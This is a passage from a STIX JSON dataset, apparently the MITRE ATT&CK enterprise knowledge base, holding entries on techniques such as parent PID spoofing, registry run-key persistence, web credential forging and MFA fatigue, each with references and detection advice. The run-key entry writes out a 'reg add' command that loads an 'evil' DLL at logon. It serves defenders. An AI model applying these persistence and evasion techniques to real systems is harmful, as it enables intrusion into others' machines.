            "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "William Cain"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Access",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a",
            "created": "2020-02-18T18:22:41.448Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1134/004",
                    "external_id": "T1134.004"
                },
                {
                    "source_name": "XPNSec PPID Nov 2017",
                    "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.",
                    "url": "https://blog.xpnsec.com/becoming-system/"
                },
                {
                    "source_name": "CounterCept PPID Spoofing Dec 2018",
                    "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.",
                    "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/"
                },
                {
                    "source_name": "Microsoft UAC Nov 2018",
                    "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.",
                    "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works"
                },
                {
                    "source_name": "Microsoft Process Creation Flags May 2018",
                    "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.",
                    "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags"
                },
                {
                    "source_name": "Secuirtyinbits Ataware3 May 2019",
                    "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.",
                    "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3"
                },
                {
                    "source_name": "DidierStevens SelectMyParent Nov 2009",
                    "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.",
                    "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/"
                },
                {
                    "source_name": "CTD PPID Spoofing Macro Mar 2019",
                    "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.",
                    "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:18.203Z",
            "name": "Parent PID Spoofing",
            "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Wayne Silva, F-Secure Countercept"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Process: OS API Execution",
                "Process: Process Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23",
            "created": "2020-10-02T16:27:02.339Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1591",
                    "external_id": "T1591"
                },
                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
                },
                {
                    "source_name": "SEC EDGAR Search",
                    "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved November 17, 2024.",
                    "url": "https://www.sec.gov/edgar/search/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:38:32.343Z",
            "name": "Gather Victim Org Information",
            "description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
            "created": "2017-05-31T21:30:49.988Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1060",
                    "external_id": "T1060"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/270.html",
                    "external_id": "CAPEC-270"
                },
                {
                    "source_name": "Microsoft Run Key",
                    "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/aa376977"
                },
                {
                    "source_name": "Microsoft RunOnceEx APR 2018",
                    "description": "Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.",
                    "url": "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key"
                },
                {
                    "source_name": "Oddvar Moe RunOnceEx Mar 2018",
                    "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
                    "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:53.310Z",
            "name": "Registry Run Keys / Startup Folder",
            "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.\n\nThe startup folder path for the current user is:\n* <code>C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>\nThe startup folder path for all users is:\n* <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>\n\nThe following run keys are created by default on Windows systems:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nThe <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit</code> and <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell</code> subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
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            "x_mitre_contributors": [
                "Oddvar Moe, @oddvarmoe"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c",
            "created": "2020-12-17T02:13:46.247Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1606",
                    "external_id": "T1606"
                },
                {
                    "source_name": "AWS Temporary Security Credentials",
                    "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"
                },
                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
                },
                {
                    "source_name": "GitHub AWS-ADFS-Credential-Generator",
                    "description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved September 27, 2024.",
                    "url": "https://github.com/pvanbuijtene/aws-adfs-credential-generator"
                },
                {
                    "source_name": "Microsoft SolarWinds Customer Guidance",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
                },
                {
                    "source_name": "Pass The Cookie",
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                    "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
                },
                {
                    "source_name": "Zimbra Preauth",
                    "description": "Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023.",
                    "url": "https://wiki.zimbra.com/wiki/Preauth"
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            "modified": "2025-04-15T22:37:02.111Z",
            "name": "Forge Web Credentials",
            "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)  ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Dylan Silva, AWS Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows",
                "macOS",
                "Linux",
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            "x_mitre_data_sources": [
                "Web Credential: Web Credential Usage",
                "Web Credential: Web Credential Creation",
                "Logon Session: Logon Session Creation"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493",
            "created": "2022-04-01T02:15:49.754Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1621",
                    "external_id": "T1621"
                },
                {
                    "source_name": "Russian 2FA Push Annoyance - Cimpanu",
                    "description": "Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022.",
                    "url": "https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/"
                },
                {
                    "source_name": "MFA Fatigue Attacks - PortSwigger",
                    "description": "Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022.",
                    "url": "https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications"
                },
                {
                    "source_name": "Suspected Russian Activity Targeting Government and Business Entities Around the Globe",
                    "description": "Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022.",
                    "url": "https://www.mandiant.com/resources/russian-targeting-gov-business"
                },
                {
                    "source_name": "Obsidian SSPR Abuse 2023",
                    "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.",
                    "url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:50:21.216Z",
            "name": "Multi-Factor Authentication Request Generation",
            "description": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.\u201d(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)",
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                    "phase_name": "credential-access"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jon Sternstein, Stern Security",
                "Pawel Partyka, Microsoft 365 Defender",
                "Shanief Webb",
                "Obsidian Security",
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism. ",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Linux",
                "macOS",
                "IaaS",
                "SaaS",
                "Office Suite",
                "Identity Provider"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Logon Session: Logon Session Metadata",
                "Application Log: Application Log Content",
                "Logon Session: Logon Session Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5",
            "created": "2020-02-11T18:18:34.279Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1554",
                    "external_id": "T1554"
                },
                {
                    "source_name": "Google Cloud Mandiant UNC3886 2024",
                    "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"
                },
                {
                    "source_name": "Unit42 Banking Trojans Hooking 2022",
                    "description": "Or Chechik. (2022, October 31). Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure. Retrieved September 27, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n"
                },
                {
                    "source_name": "ESET FontOnLake Analysis 2021",
                    "description": "Vladislav Hr\u010dka. (2021, January 1). FontOnLake. Retrieved September 27, 2023.",
                    "url": "https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf"
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            "modified": "2025-04-15T19:58:52.206Z",
            "name": "Compromise Host Software Binary",
            "description": "Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\n\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\n\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\n\nAfter modifying a binary, an adversary may attempt to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "CrowdStrike Falcon OverWatch",
                "Liran Ravich, CardinalOps",
                "Jamie Williams (U \u03c9 U), PANW Unit 42"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
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            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "File: File Deletion",
                "File: File Modification",
                "File: File Metadata",
                "File: File Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3",
            "created": "2023-03-14T14:38:03.673Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552/008",
                    "external_id": "T1552.008"
                },
                {
                    "source_name": "Slack Security Risks",
                    "description": "Michael Osakwe. (2020, November 18). 4 SaaS and Slack Security Risks to Consider. Retrieved March 17, 2023.",
                    "url": "https://www.nightfall.ai/blog/saas-slack-security-risks-2020"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T21:56:22.979Z",
            "name": "Chat Messages",
            "description": "Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\n\nRather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
